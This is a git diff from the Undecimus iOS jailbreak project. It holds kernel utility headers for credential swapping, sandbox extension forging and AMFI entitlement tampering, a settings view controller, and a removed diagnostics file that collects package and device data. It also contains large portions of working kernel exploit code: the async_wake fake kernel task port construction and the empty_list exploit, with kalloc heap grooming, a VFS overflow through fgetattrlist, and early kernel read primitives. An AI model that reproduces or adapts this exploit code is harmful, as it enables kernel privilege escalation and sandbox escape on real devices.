bool set_proc_memstat_internal(kptr_t proc, bool set);
bool get_proc_memstat_internal(kptr_t proc);
size_t kstrlen(kptr_t ptr);
kptr_t sstrdup(const char *str);
kptr_t smalloc(size_t size);
void sfree(kptr_t ptr);
kptr_t IOMalloc(vm_size_t size);
void IOFree(kptr_t address, vm_size_t size);
int extension_create_file(kptr_t saveto, kptr_t sb, const char *path, size_t path_len, uint32_t subtype);
int extension_create_mach(kptr_t saveto, kptr_t sb, const char *name, uint32_t subtype);
int extension_add(kptr_t ext, kptr_t sb, const char *desc);
void extension_release(kptr_t ext);
void extension_destroy(kptr_t ext);
bool set_file_extension(kptr_t sandbox, const char *exc_key, const char *path);
bool set_mach_extension(kptr_t sandbox, const char *exc_key, const char *name);
kptr_t proc_find(pid_t pid);
void proc_rele(kptr_t proc);
void proc_lock(kptr_t proc);
void proc_unlock(kptr_t proc);
void proc_ucred_lock(kptr_t proc);
void proc_ucred_unlock(kptr_t proc);
void vnode_lock(kptr_t vp);
void vnode_unlock(kptr_t vp);
void mount_lock(kptr_t mp);
void mount_unlock(kptr_t mp);
void task_set_platform_binary(kptr_t task, boolean_t is_platform);
void kauth_cred_ref(kptr_t cred);
void kauth_cred_unref(kptr_t cred);
int chgproccnt(uid_t uid, int diff);
kptr_t vfs_context_current(void);
int vnode_lookup(const char *path, int flags, kptr_t *vpp, kptr_t ctx);
int vnode_getfromfd(kptr_t ctx, int fd, kptr_t *vpp);
int vn_getpath(kptr_t vp, char *pathbuf, int *len);
int vnode_put(kptr_t vp);
bool OSDictionary_SetItem(kptr_t OSDictionary, const char *key, kptr_t val);
kptr_t OSDictionary_GetItem(kptr_t OSDictionary, const char *key);
bool OSDictionary_Merge(kptr_t OSDictionary, kptr_t OSDictionary2);
uint32_t OSDictionary_ItemCount(kptr_t OSDictionary);
kptr_t OSDictionary_ItemBuffer(kptr_t OSDictionary);
kptr_t OSDictionary_ItemKey(kptr_t buffer, uint32_t idx);
kptr_t OSDictionary_ItemValue(kptr_t buffer, uint32_t idx);
uint32_t OSArray_ItemCount(kptr_t OSArray);
bool OSArray_Merge(kptr_t OSArray, kptr_t OSArray2);
kptr_t OSArray_GetObject(kptr_t OSArray, uint32_t idx);
void OSArray_RemoveObject(kptr_t OSArray, uint32_t idx);
kptr_t OSArray_ItemBuffer(kptr_t OSArray);
kptr_t OSObjectFunc(kptr_t OSObject, uint32_t off);
void OSObject_Release(kptr_t OSObject);
void OSObject_Retain(kptr_t OSObject);
uint32_t OSObject_GetRetainCount(kptr_t OSObject);
uint32_t OSString_GetLength(kptr_t OSString);
kptr_t OSString_CStringPtr(kptr_t OSString);
char *OSString_CopyString(kptr_t OSString);
kptr_t OSUnserializeXML(const char *buffer);
kptr_t get_exception_osarray(const char **exceptions, bool is_file_extension);
char **copy_amfi_entitlements(kptr_t present);
kptr_t getOSBool(bool value);
bool entitle_process(kptr_t amfi_entitlements, const char *key, kptr_t val);
bool set_sandbox_exceptions(kptr_t sandbox);
bool check_for_exception(char **current_exceptions, const char *exception);
bool set_amfi_exceptions(kptr_t amfi_entitlements, const char *exc_key, const char **exceptions, bool is_file_extension);
bool set_exceptions(kptr_t sandbox, kptr_t amfi_entitlements);
kptr_t get_amfi_entitlements(kptr_t cr_label);
kptr_t get_sandbox(kptr_t cr_label);
bool entitle_process_with_pid(pid_t pid, const char *key, kptr_t val);
bool remove_memory_limit(void);
bool restore_kernel_task_port(task_t *out_kernel_task_port);
bool restore_kernel_base(uint64_t *out_kernel_base, uint64_t *out_kernel_slide);
bool restore_kernel_offset_cache(void);
bool restore_file_offset_cache(const char *offset_cache_file_path, kptr_t *out_kernel_base, uint64_t *out_kernel_slide);
bool convert_port_to_task_port(mach_port_t port, kptr_t space, kptr_t task_kaddr);
kptr_t make_fake_task(kptr_t vm_map);
bool make_port_fake_task_port(mach_port_t port, kptr_t task_kaddr);
bool set_hsp4(task_t port);
kptr_t get_vnode_for_path(const char *path);
kptr_t get_vnode_for_fd(int fd);
char *get_path_for_fd(int fd);
kptr_t get_vnode_for_snapshot(int fd, char *name);
bool set_kernel_task_info(void);
int issue_extension_for_mach_service(kptr_t sb, kptr_t ctx, const char *entry_name, void *desc);
bool unrestrict_process(pid_t pid);
bool unrestrict_process_with_task_port(task_t task_port);
bool unrestrict_library(const char *path);
bool unrestrict_library_with_fd(int fd);
bool revalidate_process(pid_t pid);
bool revalidate_process_with_task_port(task_t task_port);
bool enable_mapping_for_library(const char *lib);
bool enable_mapping_for_libraries(const char *libs);
kptr_t find_vnode_with_fd(kptr_t proc, int fd);
kptr_t find_vnode_with_path(const char *path);
kptr_t swap_sandbox_for_proc(kptr_t proc, kptr_t sandbox);
uint64_t get_proc_struct_for_pid(pid_t pid);
uint64_t get_address_of_port(pid_t pid, mach_port_t port);
uint64_t get_kernel_cred_addr(void);
uint64_t give_creds_to_process_at_addr(uint64_t proc, uint64_t cred_addr);
void set_platform_binary(uint64_t proc);
#endif /* kutils_h */
+42 -83
View File
@@ -10,94 +10,53 @@
#import "common.h"
#import "utils.h"
@interface SettingsTableViewController : UITableViewController <UITextFieldDelegate, UIPickerViewDataSource, UIPickerViewDelegate>
@property (weak, nonatomic) IBOutlet UISwitch *tweakInjectionSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *loadDaemonsSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *dumpAPTicketSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *refreshIconCacheSwitch;
@property (weak, nonatomic) IBOutlet UITextField *bootNonceTextField;
@property (weak, nonatomic) IBOutlet UITextField *kernelExploitTextField;
@property (nonatomic) UIPickerView *kernelExploitPickerView;
@property (nonatomic) NSMutableArray *exploitPickerArray;
@property (nonatomic) NSMutableDictionary *availableExploits;
@property (nonatomic) UIToolbar *exploitPickerToolbar;
@property (weak, nonatomic) IBOutlet UITextField *codeSubstitutorTextField;
@property (nonatomic) UIPickerView *codeSubstitutorPickerView;
@property (nonatomic) NSMutableArray *substitutorPickerArray;
@property (nonatomic) NSMutableDictionary *availableSubstitutors;
@property (nonatomic) UIToolbar *substitutorPickerToolbar;
@property (nonatomic) BOOL isPicking;
#define K_TWEAK_INJECTION @"TweakInjection"
#define K_LOAD_DAEMONS @"LoadDaemons"
#define K_DUMP_APTICKET @"DumpAPTicket"
#define K_REFRESH_ICON_CACHE @"RefreshIconCache"
#define K_BOOT_NONCE @"BootNonce"
#define K_EXPLOIT @"Exploit"
#define K_DISABLE_AUTO_UPDATES @"DisableAutoUpdates"
#define K_DISABLE_APP_REVOKES @"DisableAppRevokes"
#define K_OVERWRITE_BOOT_NONCE @"OverwriteBootNonce"
#define K_EXPORT_KERNEL_TASK_PORT @"ExportKernelTaskPort"
#define K_RESTORE_ROOTFS @"RestoreRootFS"
#define K_INCREASE_MEMORY_LIMIT @"IncreaseMemoryLimit"
#define K_ECID @"Ecid"
#define K_INSTALL_OPENSSH @"InstallOpenSSH"
#define K_INSTALL_CYDIA @"InstallCydia"
#define K_RELOAD_SYSTEM_DAEMONS @"ReloadSystemDaemons"
#define K_HIDE_LOG_WINDOW @"HideLogWindow"
#define K_RESET_CYDIA_CACHE @"ResetCydiaCache"
@interface SettingsTableViewController : UITableViewController <UITextFieldDelegate>
@property (weak, nonatomic) IBOutlet UISwitch *TweakInjectionSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *LoadDaemonsSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *DumpAPTicketSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *RefreshIconCacheSwitch;
@property (weak, nonatomic) IBOutlet UITextField *BootNonceTextField;
@property (weak, nonatomic) IBOutlet UISegmentedControl *KernelExploitSegmentedControl;
@property (weak, nonatomic) IBOutlet UIButton *restartButton;
@property (weak, nonatomic) IBOutlet UISwitch *disableAutoUpdatesSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *disableAppRevokesSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *DisableAutoUpdatesSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *DisableAppRevokesSwitch;
@property (nonatomic) UITapGestureRecognizer *tap;
@property (weak, nonatomic) IBOutlet UIButton *shareDiagnosticsDataButton;
@property (weak, nonatomic) IBOutlet UIButton *openCydiaButton;
@property (weak, nonatomic) IBOutlet UITextField *expiryLabel;
@property (weak, nonatomic) IBOutlet UISwitch *overwriteBootNonceSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *exportKernelTaskPortSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *restoreRootFSSwitch;
@property (weak, nonatomic) IBOutlet UIButton *ShareDiagnosticsDataButton;
@property (weak, nonatomic) IBOutlet UIButton *OpenCydiaButton;
@property (weak, nonatomic) IBOutlet UITextField *ExpiryLabel;
@property (weak, nonatomic) IBOutlet UISwitch *OverwriteBootNonceSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *ExportKernelTaskPortSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *RestoreRootFSSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *installCydiaSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *installSSHSwitch;
@property (weak, nonatomic) IBOutlet UITextField *uptimeLabel;
@property (weak, nonatomic) IBOutlet UISwitch *increaseMemoryLimitSwitch;
@property (weak, nonatomic) IBOutlet UITextField *ecidLabel;
@property (weak, nonatomic) IBOutlet UISwitch *reloadSystemDaemonsSwitch;
@property (weak, nonatomic) IBOutlet UIButton *restartSpringBoardButton;
@property (weak, nonatomic) IBOutlet UISwitch *hideLogWindowSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *resetCydiaCacheSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *sshOnlySwitch;
@property (weak, nonatomic) IBOutlet UISwitch *enableGetTaskAllowSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *setCSDebuggedSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *autoRespringSwitch;
@property (weak, nonatomic) IBOutlet UITextField *UptimeLabel;
@property (weak, nonatomic) IBOutlet UISwitch *IncreaseMemoryLimitSwitch;
@property (weak, nonatomic) IBOutlet UITextField *ECIDLabel;
@property (weak, nonatomic) IBOutlet UISwitch *ReloadSystemDaemonsSwitch;
@property (weak, nonatomic) IBOutlet UIButton *RestartSpringBoardButton;
@property (weak, nonatomic) IBOutlet UISwitch *HideLogWindowSwitch;
@property (weak, nonatomic) IBOutlet UISwitch *ResetCydiaCacheSwitch;
@property (weak, nonatomic) IBOutlet UILabel *specialThanksLabel;
@property (weak, nonatomic) IBOutlet UILabel *tweakInjectionLabel;
@property (weak, nonatomic) IBOutlet UILabel *loadDaemonsLabel;
@property (weak, nonatomic) IBOutlet UILabel *dumpAPTicketLabel;
@property (weak, nonatomic) IBOutlet UILabel *refreshIconCacheLabel;
@property (weak, nonatomic) IBOutlet UILabel *disableAutoUpdatesLabel;
@property (weak, nonatomic) IBOutlet UILabel *disableAppRevokesLabel;
@property (weak, nonatomic) IBOutlet UILabel *overwriteBootNonceLabel;
@property (weak, nonatomic) IBOutlet UILabel *exportKernelTaskPortLabel;
@property (weak, nonatomic) IBOutlet UILabel *restoreRootFSLabel;
@property (weak, nonatomic) IBOutlet UILabel *installCydiaLabel;
@property (weak, nonatomic) IBOutlet UILabel *installSSHLabel;
@property (weak, nonatomic) IBOutlet UILabel *increaseMemoryLimitLabel;
@property (weak, nonatomic) IBOutlet UILabel *reloadSystemDaemonsLabel;
@property (weak, nonatomic) IBOutlet UILabel *hideLogWindowLabel;
@property (weak, nonatomic) IBOutlet UILabel *resetCydiaCacheLabel;
@property (weak, nonatomic) IBOutlet UILabel *sshOnlyLabel;
@property (weak, nonatomic) IBOutlet UILabel *enableGetTaskAllowLabel;
@property (weak, nonatomic) IBOutlet UILabel *setCSDebuggedLabel;
@property (weak, nonatomic) IBOutlet UILabel *autoRespringLabel;
@property (weak, nonatomic) IBOutlet UILabel *kernelExploitLabel;
@property (weak, nonatomic) IBOutlet UILabel *codeSubstitutorLabel;
@property (weak, nonatomic) IBOutlet UIButton *bootNonceButton;
@property (weak, nonatomic) IBOutlet UIButton *ecidDarkModeButton;
@property (weak, nonatomic) IBOutlet UILabel *expiryDarkModeLabel;
@property (weak, nonatomic) IBOutlet UILabel *upTimeLabel;
@property (weak, nonatomic) IBOutlet UIButton *loadTweaksInfoButton;
@property (weak, nonatomic) IBOutlet UIButton *loadDaemonsInfoButton;
@property (weak, nonatomic) IBOutlet UIButton *dumpAPTicketInfoButton;
@property (weak, nonatomic) IBOutlet UIButton *refreshIconCacheInfoButton;
@property (weak, nonatomic) IBOutlet UIButton *disableAutoUpdatesInfoButton;
@property (weak, nonatomic) IBOutlet UIButton *disableAppRevokesInfoButton;
@property (weak, nonatomic) IBOutlet UIButton *overwriteBootNonceInfoButton;
@property (weak, nonatomic) IBOutlet UIButton *exportKernelTaskPortInfoButton;
@property (weak, nonatomic) IBOutlet UIButton *restoreRootFSInfoButton;
@property (weak, nonatomic) IBOutlet UIButton *increaseMemoryLimitInfoButton;
@property (weak, nonatomic) IBOutlet UIButton *installSSHInfoButton;
@property (weak, nonatomic) IBOutlet UIButton *installCydiaInfoButton;
@property (weak, nonatomic) IBOutlet UIButton *reloadSystemDaemonsInfoButton;
@property (weak, nonatomic) IBOutlet UIButton *hideLogWindowInfoButton;
@property (weak, nonatomic) IBOutlet UIButton *resetCydiaSwitchInfoButton;
@property (weak, nonatomic) IBOutlet UIButton *sshOnlyInfoButton;
@property (weak, nonatomic) IBOutlet UIButton *enableGetTaskAllowInfoButton;
@property (weak, nonatomic) IBOutlet UIButton *setCSDebuggedInfoButton;
@property (weak, nonatomic) IBOutlet UIButton *autoRespringInfoButton;
+ (NSDictionary *)provisioningProfileAtPath:(NSString *)path;
+ (NSDictionary *)_provisioningProfileAtPath:(NSString *)path;
@end
File diff suppressed because it is too large Load Diff
+7 -4
View File
@@ -10,7 +10,7 @@
#include <CoreFoundation/CoreFoundation.h>
#include "KernelMemory.h"
#include "KernelOffsets.h"
#include "KernelStructureOffsets.h"
#include "KernelUtilities.h"
#include "async_wake.h"
#include "early_kalloc.h"
@@ -175,7 +175,7 @@ mach_port_t* prepare_ports(int n_ports)
for (int j = 0; j < i; j++) {
mach_port_deallocate(mach_task_self(), ports[j]);
}
SafeFreeNULL(ports);
free(ports);
return NULL;
}
}
@@ -374,7 +374,7 @@ mach_port_t build_safe_fake_tfp0(uint64_t vm_map, uint64_t space)
*(uint64_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
*(uint8_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
kmemcpy(fake_kernel_task_kaddr, (uint64_t)fake_kernel_task, 0x1000);
SafeFreeNULL(fake_kernel_task);
free(fake_kernel_task);
uint32_t fake_task_refs = ReadKernel32(fake_kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT));
LOG("read fake_task_refs: %x", fake_task_refs);
@@ -455,6 +455,9 @@ const uint64_t initial_context = 0x1020304015253545; // another random constant
mach_port_t get_kernel_memory_rw()
{
// offsets are required before we get r/w:
offsets_init();
kern_return_t err;
uint32_t MAX_KERNEL_TRAILER_SIZE = 0x44;
@@ -590,7 +593,7 @@ mach_port_t get_kernel_memory_rw()
// now free first replacer and put a fake kernel task port there
// we need to do this becase the first time around we don't know the address
// of ipc_space_kernel which means we can't fake a port owned by the kernel
SafeFreeNULL(replacer_message_body);
free(replacer_message_body);
replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, kernel_vm_map, ipc_space_kernel(), &context_ptr);
if (replacer_message_body == NULL) {
return MACH_PORT_NULL;
-23
View File
@@ -1,23 +0,0 @@
//
// diagnostics.h
// Undecimus
//
// Created by Pwn20wnd on 5/3/19.
// Copyright © 2019 Pwn20wnd. All rights reserved.
//
#ifndef diagnostics_h
#define diagnostics_h
#include <Foundation/Foundation.h>
#define STATUS_FILE @"/var/lib/dpkg/status"
#define CYDIA_LIST @"/etc/apt/sources.list.d/cydia.list"
NSArray *dependencyArrayFromString(NSString *depends);
NSArray *parsedPackageArray(void);
NSString *domainFromRepoObject(NSString *repoObject);
NSArray *sourcesFromFile(NSString *theSourceFile);
NSDictionary *getDiagnostics(void);
#endif /* diagnostics_h */
-147
View File
@@ -1,147 +0,0 @@
//
// diagnostics.c
// Undecimus
//
// Created by Pwn20wnd on 5/3/19.
// Copyright © 2019 Pwn20wnd. All rights reserved.
//
#include "diagnostics.h"
#include <common.h>
#include <sys/utsname.h>
#include <sys/sysctl.h>
#include "utils.h"
#include "prefs.h"
#if 0
Credits:
- https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L1138
- https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L1163
- https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L854
- https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L869
#endif
NSArray *dependencyArrayFromString(NSString *depends) {
NSMutableArray *cleanArray = [NSMutableArray new];
NSArray *dependsArray = [depends componentsSeparatedByString:@","];
for (NSString *depend in dependsArray) {
NSArray *spaceDelimitedArray = [depend componentsSeparatedByString:@" "];
NSString *isolatedDependency = [[spaceDelimitedArray objectAtIndex:0] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
if ([isolatedDependency length] == 0) {
isolatedDependency = [[spaceDelimitedArray objectAtIndex:1] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
}
[cleanArray addObject:isolatedDependency];
}
return cleanArray;
}
NSArray *parsedPackageArray() {
NSString *packageString = [NSString stringWithContentsOfFile:STATUS_FILE encoding:NSUTF8StringEncoding error:nil];
NSArray *lineArray = [packageString componentsSeparatedByString:@"\n\n"];
NSMutableArray *mutableList = [[NSMutableArray alloc] init];
for (NSString *currentItem in lineArray) {
NSArray *packageArray = [currentItem componentsSeparatedByString:@"\n"];
NSMutableDictionary *currentPackage = [[NSMutableDictionary alloc] init];
for (NSString *currentLine in packageArray) {
NSArray *itemArray = [currentLine componentsSeparatedByString:@": "];
if ([itemArray count] >= 2) {
NSString *key = [itemArray objectAtIndex:0];
NSString *object = [itemArray objectAtIndex:1];
if ([key isEqualToString:@"Depends"]) {
NSArray *dependsObject = dependencyArrayFromString(object);
[currentPackage setObject:dependsObject forKey:key];
} else {
[currentPackage setObject:object forKey:key];
}
}
}
if ([[currentPackage allKeys] count] > 4) {
[mutableList addObject:currentPackage];
}
currentPackage = nil;
}
NSSortDescriptor *nameDescriptor = [[NSSortDescriptor alloc] initWithKey:@"Name" ascending:YES selector:@selector(localizedCaseInsensitiveCompare:)];
NSSortDescriptor *packageDescriptor = [[NSSortDescriptor alloc] initWithKey:@"Package" ascending:YES selector:@selector(localizedCaseInsensitiveCompare:)];
NSArray *descriptors = [NSArray arrayWithObjects:nameDescriptor, packageDescriptor, nil];
NSArray *sortedArray = [mutableList sortedArrayUsingDescriptors:descriptors];
mutableList = nil;
return sortedArray;
}
NSString *domainFromRepoObject(NSString *repoObject) {
if ([repoObject length] == 0) return nil;
NSArray *sourceObjectArray = [repoObject componentsSeparatedByString:@" "];
NSString *url = [sourceObjectArray objectAtIndex:1];
if ([url length] > 7) {
NSString *urlClean = [url substringFromIndex:7];
NSArray *secondArray = [urlClean componentsSeparatedByString:@"/"];
return [secondArray objectAtIndex:0];
}
return nil;
}
NSArray *sourcesFromFile(NSString *theSourceFile) {
NSMutableArray *finalArray = [NSMutableArray new];
NSString *sourceString = [[NSString stringWithContentsOfFile:theSourceFile encoding:NSASCIIStringEncoding error:nil] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
NSArray *sourceFullArray = [sourceString componentsSeparatedByString:@"\n"];
NSEnumerator *sourceEnum = [sourceFullArray objectEnumerator];
NSString *currentSource = nil;
while (currentSource = [sourceEnum nextObject]) {
NSString *theObject = domainFromRepoObject(currentSource);
if (theObject != nil) {
if (![finalArray containsObject:theObject])
[finalArray addObject:theObject];
}
}
return finalArray;
}
NSDictionary *getDiagnostics() {
NSMutableDictionary *diagnostics = [NSMutableDictionary new];
char *OSVersion = getOSVersion();
assert(OSVersion != NULL);
char *OSProductVersion = getOSProductVersion();
assert(OSProductVersion != NULL);
char *kernelVersion = getKernelVersion();
assert(kernelVersion != NULL);
char *machineName = getMachineName();
assert(machineName != NULL);
prefs_t *prefs = copy_prefs();
diagnostics[@"OSVersion"] = [NSString stringWithUTF8String:OSVersion];
diagnostics[@"OSProductVersion"] = [NSString stringWithUTF8String:OSProductVersion];
diagnostics[@"KernelVersion"] = [NSString stringWithUTF8String:kernelVersion];
diagnostics[@"MachineName"] = [NSString stringWithUTF8String:machineName];
diagnostics[@"Preferences"] = [NSMutableDictionary new];
diagnostics[@"Preferences"][@K_TWEAK_INJECTION] = [NSNumber numberWithBool:(BOOL)prefs->load_tweaks];
diagnostics[@"Preferences"][@K_LOAD_DAEMONS] = [NSNumber numberWithBool:(BOOL)prefs->load_daemons];
diagnostics[@"Preferences"][@K_DUMP_APTICKET] = [NSNumber numberWithBool:(BOOL)prefs->dump_apticket];
diagnostics[@"Preferences"][@K_REFRESH_ICON_CACHE] = [NSNumber numberWithBool:(BOOL)prefs->run_uicache];
diagnostics[@"Preferences"][@K_BOOT_NONCE] = [NSString stringWithUTF8String:(const char *)prefs->boot_nonce];
diagnostics[@"Preferences"][@K_DISABLE_AUTO_UPDATES] = [NSNumber numberWithBool:(BOOL)prefs->disable_auto_updates];
diagnostics[@"Preferences"][@K_DISABLE_APP_REVOKES] = [NSNumber numberWithBool:(BOOL)prefs->disable_app_revokes];
diagnostics[@"Preferences"][@K_OVERWRITE_BOOT_NONCE] = [NSNumber numberWithBool:(BOOL)prefs->overwrite_boot_nonce];
diagnostics[@"Preferences"][@K_EXPORT_KERNEL_TASK_PORT] = [NSNumber numberWithBool:(BOOL)prefs->export_kernel_task_port];
diagnostics[@"Preferences"][@K_RESTORE_ROOTFS] = [NSNumber numberWithBool:(BOOL)prefs->restore_rootfs];
diagnostics[@"Preferences"][@K_INCREASE_MEMORY_LIMIT] = [NSNumber numberWithBool:(BOOL)prefs->increase_memory_limit];
diagnostics[@"Preferences"][@K_ECID] = [NSString stringWithUTF8String:(const char *)prefs->ecid];
diagnostics[@"Preferences"][@K_INSTALL_CYDIA] = [NSNumber numberWithBool:(BOOL)prefs->install_cydia];
diagnostics[@"Preferences"][@K_INSTALL_OPENSSH] = [NSNumber numberWithBool:(BOOL)prefs->install_openssh];
diagnostics[@"Preferences"][@K_RELOAD_SYSTEM_DAEMONS] = [NSNumber numberWithBool:(BOOL)prefs->reload_system_daemons];
diagnostics[@"Preferences"][@K_RESET_CYDIA_CACHE] = [NSNumber numberWithBool:(BOOL)prefs->reset_cydia_cache];
diagnostics[@"Preferences"][@K_SSH_ONLY] = [NSNumber numberWithBool:(BOOL)prefs->ssh_only];
diagnostics[@"Preferences"][@K_ENABLE_GET_TASK_ALLOW] = [NSNumber numberWithBool:(BOOL)prefs->enable_get_task_allow];
diagnostics[@"Preferences"][@K_SET_CS_DEBUGGED] = [NSNumber numberWithBool:(BOOL)prefs->set_cs_debugged];
diagnostics[@"Preferences"][@K_HIDE_LOG_WINDOW] = [NSNumber numberWithBool:(BOOL)prefs->hide_log_window];
diagnostics[@"Preferences"][@K_EXPLOIT] = [NSNumber numberWithInt:(int)prefs->exploit];
diagnostics[@"AppVersion"] = [NSString stringWithString:appVersion()];
diagnostics[@"LogFile"] = [NSString stringWithContentsOfFile:getLogFile() encoding:NSUTF8StringEncoding error:nil];
diagnostics[@"Sources"] = [NSArray arrayWithArray:sourcesFromFile(CYDIA_LIST)];
diagnostics[@"Packages"] = [NSArray arrayWithArray:parsedPackageArray()];
diagnostics[@"Uptime"] = [NSNumber numberWithDouble:getUptime()];
SafeFreeNULL(OSVersion);
SafeFreeNULL(OSProductVersion);
SafeFreeNULL(kernelVersion);
SafeFreeNULL(machineName);
release_prefs(&prefs);
return diagnostics;
}
+1 -1
View File
@@ -13,7 +13,7 @@
#include <stdlib.h>
#include "KernelMemory.h"
#include "KernelOffsets.h"
#include "KernelStructureOffsets.h"
#include "KernelUtilities.h"
#include "find_port.h"
#include <common.h>
+57 -50
View File
@@ -12,7 +12,7 @@
#include <mach/mach.h>
#include "KernelMemory.h"
#include "KernelOffsets.h"
#include "KernelStructureOffsets.h"
#include "KernelUtilities.h"
#include "empty_list_sploit.h"
#include <common.h>
@@ -81,10 +81,10 @@ static void build_fake_task_port(uint8_t* fake_port, uint64_t fake_port_kaddr, u
}
#define N_EARLY_PORTS 80000
static mach_port_t early_ports[N_EARLY_PORTS + 20000];
static int next_early_port = 0;
mach_port_t early_ports[N_EARLY_PORTS + 20000];
int next_early_port = 0;
static void alloc_early_ports()
void alloc_early_ports()
{
for (int i = 0; i < N_EARLY_PORTS; i++) {
kern_return_t err;
@@ -96,7 +96,7 @@ static void alloc_early_ports()
next_early_port = N_EARLY_PORTS - 1;
}
static mach_port_t steal_early_port()
mach_port_t steal_early_port()
{
if (next_early_port == 0) {
LOG("out of early ports");
@@ -108,14 +108,14 @@ static mach_port_t steal_early_port()
return p;
}
static void dump_early_ports()
void dump_early_ports()
{
for (int i = 0; i < N_EARLY_PORTS; i++) {
LOG("EARLY %d %08x", i, early_ports[i]);
}
}
static void clear_early_ports()
void clear_early_ports()
{
for (int i = 0; i < next_early_port; i++) {
mach_port_destroy(mach_task_self(), early_ports[i]);
@@ -129,7 +129,7 @@ struct kalloc_16_send_msg {
uint8_t pad[0x200];
};
static mach_port_t kalloc_16()
mach_port_t kalloc_16()
{
kern_return_t err;
// take an early port:
@@ -175,10 +175,10 @@ static mach_port_t kalloc_16()
}
#define N_MIDDLE_PORTS 50000
static mach_port_t middle_ports[N_MIDDLE_PORTS];
static int next_middle_port = 0;
mach_port_t middle_ports[N_MIDDLE_PORTS];
int next_middle_port = 0;
static mach_port_t alloc_middle_port()
mach_port_t alloc_middle_port()
{
mach_port_t port;
kern_return_t err;
@@ -198,7 +198,7 @@ struct ool_multi_msg {
};
// to free them either receive the message or destroy the port
static mach_port_t hold_kallocs(uint32_t kalloc_size, int allocs_per_message, int messages_to_send, mach_port_t holder_port, mach_port_t* source_ports)
mach_port_t hold_kallocs(uint32_t kalloc_size, int allocs_per_message, int messages_to_send, mach_port_t holder_port, mach_port_t* source_ports)
{
if (messages_to_send > MACH_PORT_QLIMIT_LARGE) {
LOG("****************** too many messages");
@@ -271,14 +271,14 @@ static mach_port_t hold_kallocs(uint32_t kalloc_size, int allocs_per_message, in
//return false;
}
}
SafeFreeNULL(ports_to_send);
SafeFreeNULL(msg);
free(ports_to_send);
free(msg);
return port;
}
static uint8_t msg_buf[10000];
static void discard_message(mach_port_t port)
uint8_t msg_buf[10000];
void discard_message(mach_port_t port)
{
mach_msg_header_t* msg = (mach_msg_header_t*)msg_buf;
kern_return_t err;
@@ -298,12 +298,12 @@ static void discard_message(mach_port_t port)
#include <sys/attr.h>
static int vfs_fd = -1;
static struct attrlist al = { 0 };
static size_t attrBufSize = 16;
static void* attrBuf = NULL;
int vfs_fd = -1;
struct attrlist al = { 0 };
size_t attrBufSize = 16;
void* attrBuf = NULL;
static void prepare_vfs_overflow()
void prepare_vfs_overflow()
{
vfs_fd = open("/", O_RDONLY);
if (vfs_fd == -1) {
@@ -319,23 +319,23 @@ static void prepare_vfs_overflow()
}
// this will do a kalloc.16, overflow out of it with 8 NULL bytes, then free it
static void do_vfs_overflow()
void do_vfs_overflow()
{
int options = 0;
int err = fgetattrlist(vfs_fd, &al, attrBuf, attrBufSize, options);
//LOG("err: %d", err);
}
static mach_port_t initial_early_kallocs[80000];
static int next_early_kalloc = 0;
mach_port_t initial_early_kallocs[80000];
int next_early_kalloc = 0;
static mach_port_t middle_kallocs[80000];
static int next_middle_kalloc = 0;
mach_port_t middle_kallocs[80000];
int next_middle_kalloc = 0;
// in the end I don't use these, but maybe they help?
static volatile int keep_spinning = 1;
static void* spinner(void* arg)
volatile int keep_spinning = 1;
void* spinner(void* arg)
{
while (keep_spinning)
;
@@ -343,9 +343,9 @@ static void* spinner(void* arg)
}
#define N_SPINNERS 100
static pthread_t spin_threads[N_SPINNERS];
pthread_t spin_threads[N_SPINNERS];
static void start_spinners()
void start_spinners()
{
return;
for (int i = 0; i < N_SPINNERS; i++) {
@@ -353,7 +353,7 @@ static void start_spinners()
}
}
static void stop_spinners()
void stop_spinners()
{
return;
keep_spinning = 0;
@@ -362,15 +362,15 @@ static void stop_spinners()
}
}
static const int total_fds = 14 * 0x1f * 8;
static int read_ends[total_fds];
static int write_ends[total_fds];
static int next_pipe_index = 0;
const int total_fds = 14 * 0x1f * 8;
int read_ends[total_fds];
int write_ends[total_fds];
int next_pipe_index = 0;
static mach_port_t early_read_port = MACH_PORT_NULL;
static int early_read_read_fd = -1;
static int early_read_write_fd = -1;
static uint64_t early_read_known_kaddr = 0;
int early_read_read_fd = -1;
int early_read_write_fd = -1;
uint64_t early_read_known_kaddr = 0;
// read_fd and write_fd are the pipe fds which have a pipe buffer at known_addr
static void prepare_early_read_primitive(mach_port_t target_port, int read_fd, int write_fd, uint64_t known_kaddr)
@@ -381,7 +381,7 @@ static void prepare_early_read_primitive(mach_port_t target_port, int read_fd, i
early_read_known_kaddr = known_kaddr;
}
static uint32_t early_rk32(uint64_t kaddr)
uint32_t early_rk32(uint64_t kaddr)
{
uint8_t* buf = malloc(0xfff);
